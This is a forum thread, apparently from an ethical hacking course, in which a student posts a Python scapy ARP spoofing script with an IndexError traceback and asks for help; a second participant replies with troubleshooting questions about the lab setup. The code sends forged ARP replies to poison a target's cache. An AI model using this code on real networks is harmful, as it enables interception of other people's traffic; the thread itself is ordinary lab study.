- This topic has 4 replies, 2 voices, and was last updated 4 years, 7 months ago by Vashisht Boodhun.
- AuthorPosts
- April 15, 2020 at 2:09 pm #34035Shaka_MilanoParticipant
Hi.
I was following the ARP spoofer lesson and I am having an error related with the MAC address capturing:
Traceback (most recent call last):
File “arp_spoofing.py”, line 53, in <module>
spoof(ip_target,ip_spoof)
File “arp_spoofing.py”, line 35, in spoof
mac_target = get_mac(ip_target)
File “arp_spoofing.py”, line 32, in get_mac
return answered_list[0][1].hwsrc
File “/usr/lib/python2.7/dist-packages/scapy/plist.py”, line 118, in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of rangeAs I understand, for some reason, sometimes is not getting the MAC address response. How to resolve this problem ( I am adding the code I am using below)?
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst=”ff:ff:ff:ff:ff:ff”)
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) [0]
return answered_list[0][1].hwsrcdef spoof(ip_target,ip_spoof):
mac_target = get_mac(ip_target)
packet = scapy.ARP(op=2, hwdst=mac_target, pdst=ip_target, psrc=ip_spoof)
scapy.send(packet, verbose=False)Furthermore, as an alternative I am using the following code using if statements for keeping the code running; this way ARP poisoning is working, however, I am loosing some packets.
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst=”ff:ff:ff:ff:ff:ff”)
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False) [0]
if answered_list:
return answered_list[0][1].hwsrcdef spoof(ip_target,ip_spoof):
mac_target = get_mac(ip_target)
if not mac_target:
print(“\n[-] Warning … No MAC found, packet was not send”)
else:
packet = scapy.ARP(op=2, hwdst=mac_target, pdst=ip_target, psrc=ip_spoof)
scapy.send(packet, verbose=False)OUTPUT:
[+] Sending packet: 16
[-] Warning … No MAC found, packet was not send
[+] Sending packet: 18
[-] Warning … No MAC found, packet was not send
[+] Sending packet: 26
[-] Warning … No MAC found, packet was not send
[+] Sending packet: 28Finally, I have an extra question. When we sent the ARP request it was necessary to explicitly configure the Ethernet header using scapy and concatenate it with the ARP request. Why is not necessary configuring the ethernet header when we are sending the ARP response? is it done automatically by scapy.send(packet)?
April 18, 2020 at 5:11 am #34298Vashisht BoodhunParticipantAre you targeting a vm or host?
April 18, 2020 at 4:32 pm #34323Shaka_MilanoParticipantI am targeting a host.
April 20, 2020 at 9:08 am #34491Vashisht BoodhunParticipantThen did you plug in your adapter? Did you try testing with natnetwork before?
April 20, 2020 at 12:57 pm #34508Vashisht BoodhunParticipantCan you show me the result of ifconfig in kali and ipconfig in you target?
- AuthorPosts
- You must be logged in to reply to this topic.